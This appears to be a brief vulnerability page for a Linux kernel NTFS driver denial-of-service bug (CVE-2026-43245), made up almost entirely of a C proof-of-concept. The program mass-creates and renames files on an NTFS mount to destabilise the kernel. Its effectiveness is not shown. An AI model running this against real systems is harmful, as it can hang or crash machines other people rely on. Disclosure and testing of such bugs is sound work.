CVE-2026-43245 Linux内核NTFS驱动拒绝服务漏洞

#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> /* * PoC for CVE-2026-43245: NTFS d_compare() blocking issue * This script attempts to trigger the vulnerability by creating * and renaming files on a mounted NTFS filesystem, forcing * the kernel to call d_compare() under potential memory pressure. */ int main() { const char* base_dir = "/mnt/ntfs_test"; // Ensure this is mounted NTFS char old_name[256]; char new_name[256]; mkdir(base_dir, 0777); printf("Starting PoC for CVE-2026-43245...\n"); for (int i = 0; i < 5000; i++) { snprintf(old_name, sizeof(old_name), "%s/file_%d.dat", base_dir, i); snprintf(new_name, sizeof(new_name), "%s/renamed_%d.dat", base_dir, i); FILE *f = fopen(old_name, "w"); if (f) { fputs("data", f); fclose(f); // Rename operation triggers d_compare lookup if (rename(old_name, new_name) != 0) { perror("Rename failed"); } } } printf("PoC execution finished. Check system stability.\n"); return 0; }